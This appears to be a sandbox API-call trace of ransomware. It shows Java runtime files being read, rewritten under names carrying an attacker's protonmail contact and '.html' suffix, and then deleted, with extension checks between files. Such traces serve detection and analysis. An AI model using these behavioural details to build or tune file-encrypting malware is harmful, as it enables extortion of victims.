	[0174.577] ReadFile (in: hFile=0x574, lpBuffer=0x3fbb058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3fbb058*, lpNumberOfBytesRead=0x33cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0174.585] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0174.585] ReadFile (in: hFile=0x574, lpBuffer=0x3ffb058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ffb058*, lpNumberOfBytesRead=0x33cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0174.594] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0174.594] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0174.594] ReadFile (in: hFile=0x574, lpBuffer=0x403b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc30, lpOverlapped=0x0 | out: lpBuffer=0x403b058*, lpNumberOfBytesRead=0x33cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0174.701] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.702] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0174.724] SetEndOfFile (hFile=0x574) returned 1
	[0174.724] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x40000) returned 0x44aafb0
	[0174.730] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0174.730] WriteFile (in: hFile=0x574, lpBuffer=0x44aafb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44aafb0*, lpNumberOfBytesWritten=0x33cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0174.731] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0174.731] WriteFile (in: hFile=0x574, lpBuffer=0x44aafb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44aafb0*, lpNumberOfBytesWritten=0x33cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0174.877] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0174.877] WriteFile (in: hFile=0x574, lpBuffer=0x44aafb0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44aafb0*, lpNumberOfBytesWritten=0x33cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0174.879] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0174.881] CloseHandle (hObject=0x574) returned 1
	[0174.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x21) returned 1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.242] lstrlenW (lpString=".doc") returned 4
	[0175.242] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0175.242] lstrlenW (lpString=".docx") returned 5
	[0175.242] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0175.242] lstrlenW (lpString=".pdf") returned 4
	[0175.242] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0175.242] lstrlenW (lpString=".xls") returned 4
	[0175.242] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0175.242] lstrlenW (lpString=".xlsx") returned 5
	[0175.242] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0175.242] lstrlenW (lpString=".ppt") returned 4
	[0175.242] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0175.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.242] lstrlenW (lpString=".zip") returned 4
	[0175.242] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0175.243] lstrlenW (lpString=".rar") returned 4
	[0175.243] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0175.243] lstrlenW (lpString=".bz2") returned 4
	[0175.243] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0175.243] lstrlenW (lpString=".7z") returned 3
	[0175.243] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString=".dbf") returned 4
	[0175.243] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString=".1cd") returned 4
	[0175.243] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString=".jpg") returned 4
	[0175.243] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString=".doc") returned 4
	[0175.243] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1
	[0175.243] lstrlenW (lpString=".docx") returned 5
	[0175.243] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1
	[0175.243] lstrlenW (lpString=".pdf") returned 4
	[0175.243] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1
	[0175.243] lstrlenW (lpString=".xls") returned 4
	[0175.243] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1
	[0175.243] lstrlenW (lpString=".xlsx") returned 5
	[0175.243] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1
	[0175.243] lstrlenW (lpString=".ppt") returned 4
	[0175.243] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1
	[0175.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.243] lstrlenW (lpString=".zip") returned 4
	[0175.243] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1
	[0175.244] lstrlenW (lpString=".rar") returned 4
	[0175.244] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1
	[0175.244] lstrlenW (lpString=".bz2") returned 4
	[0175.244] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1
	[0175.244] lstrlenW (lpString=".7z") returned 3
	[0175.244] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1
	[0175.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.244] lstrlenW (lpString=".dbf") returned 4
	[0175.244] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1
	[0175.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.244] lstrlenW (lpString=".1cd") returned 4
	[0175.244] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1
	[0175.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57
	[0175.244] lstrlenW (lpString=".jpg") returned 4
	[0175.244] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1
	[0175.244] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0175.244] lstrlenW (lpString="flavormap.properties") returned 20
	[0175.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0175.356] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3928) returned 1
	[0175.356] CloseHandle (hObject=0x594) returned 1
	[0175.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20
	[0175.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0175.875] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.875] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.875] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0176.029] GetLastError () returned 0x0
	[0176.029] ReadFile (in: hFile=0x5b4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xf58, lpOverlapped=0x0) returned 1
	[0176.040] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf60, lpOverlapped=0x0) returned 1
	[0176.041] ReadFile (in: hFile=0x5b4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.041] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0176.041] SetEndOfFile (hFile=0x5b0) returned 1
	[0176.042] CloseHandle (hObject=0x5b0) returned 1
	[0176.042] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.042] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.068] CloseHandle (hObject=0x5b4) returned 1
	[0176.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.070] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1
	[0176.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.071] lstrlenW (lpString=".doc") returned 4
	[0176.071] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".docx") returned 5
	[0176.071] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0176.071] lstrlenW (lpString=".pdf") returned 4
	[0176.071] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".xls") returned 4
	[0176.071] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".xlsx") returned 5
	[0176.071] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0176.071] lstrlenW (lpString=".ppt") returned 4
	[0176.071] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.071] lstrlenW (lpString=".zip") returned 4
	[0176.071] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".rar") returned 4
	[0176.071] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".bz2") returned 4
	[0176.071] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString=".7z") returned 3
	[0176.071] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0176.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.071] lstrlenW (lpString=".dbf") returned 4
	[0176.071] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0176.071] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString=".1cd") returned 4
	[0176.072] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString=".jpg") returned 4
	[0176.072] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString=".doc") returned 4
	[0176.072] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".docx") returned 5
	[0176.072] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0176.072] lstrlenW (lpString=".pdf") returned 4
	[0176.072] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".xls") returned 4
	[0176.072] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".xlsx") returned 5
	[0176.072] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0176.072] lstrlenW (lpString=".ppt") returned 4
	[0176.072] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString=".zip") returned 4
	[0176.072] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".rar") returned 4
	[0176.072] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".bz2") returned 4
	[0176.072] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0176.072] lstrlenW (lpString=".7z") returned 3
	[0176.072] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0176.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.072] lstrlenW (lpString=".dbf") returned 4
	[0176.072] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0176.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.073] lstrlenW (lpString=".1cd") returned 4
	[0176.073] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0176.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59
	[0176.073] lstrlenW (lpString=".jpg") returned 4
	[0176.073] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0176.073] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.073] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0176.073] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.077] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=344908) returned 1
	[0176.077] CloseHandle (hObject=0x594) returned 1
	[0176.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 0x20
	[0176.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.078] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.078] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.078] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.078] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0176.079] GetLastError () returned 0x0
	[0176.079] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5434c, lpOverlapped=0x0) returned 1
	[0176.111] WriteFile (in: hFile=0x5b4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x54350, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x54350, lpOverlapped=0x0) returned 1
	[0176.119] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.119] WriteFile (in: hFile=0x5b4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x102, lpOverlapped=0x0) returned 1
	[0176.119] SetEndOfFile (hFile=0x5b4) returned 1
	[0176.119] CloseHandle (hObject=0x5b4) returned 1
	[0176.119] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.119] SetEndOfFile (hFile=0x594) returned 1
	[0176.160] CloseHandle (hObject=0x594) returned 1
	[0176.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0176.161] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf")) returned 1
	[0176.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.161] lstrlenW (lpString=".doc") returned 4
	[0176.161] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.161] lstrlenW (lpString=".docx") returned 5
	[0176.161] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0176.161] lstrlenW (lpString=".pdf") returned 4
	[0176.162] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString=".xls") returned 4
	[0176.162] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.162] lstrlenW (lpString=".xlsx") returned 5
	[0176.162] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0176.162] lstrlenW (lpString=".ppt") returned 4
	[0176.162] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString=".zip") returned 4
	[0176.162] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.162] lstrlenW (lpString=".rar") returned 4
	[0176.162] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString=".bz2") returned 4
	[0176.162] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString=".7z") returned 3
	[0176.162] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString=".dbf") returned 4
	[0176.162] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString=".1cd") returned 4
	[0176.162] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString=".jpg") returned 4
	[0176.162] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.162] lstrlenW (lpString=".doc") returned 4
	[0176.162] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0176.162] lstrlenW (lpString=".docx") returned 5
	[0176.163] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0176.163] lstrlenW (lpString=".pdf") returned 4
	[0176.163] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString=".xls") returned 4
	[0176.163] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0176.163] lstrlenW (lpString=".xlsx") returned 5
	[0176.163] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0176.163] lstrlenW (lpString=".ppt") returned 4
	[0176.163] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.163] lstrlenW (lpString=".zip") returned 4
	[0176.163] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0176.163] lstrlenW (lpString=".rar") returned 4
	[0176.163] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString=".bz2") returned 4
	[0176.163] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString=".7z") returned 3
	[0176.163] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0176.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.163] lstrlenW (lpString=".dbf") returned 4
	[0176.163] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.163] lstrlenW (lpString=".1cd") returned 4
	[0176.163] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0176.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68
	[0176.163] lstrlenW (lpString=".jpg") returned 4
	[0176.163] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0176.163] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0176.163] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0176.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.165] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=317896) returned 1
	[0176.165] CloseHandle (hObject=0x594) returned 1
	[0176.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20
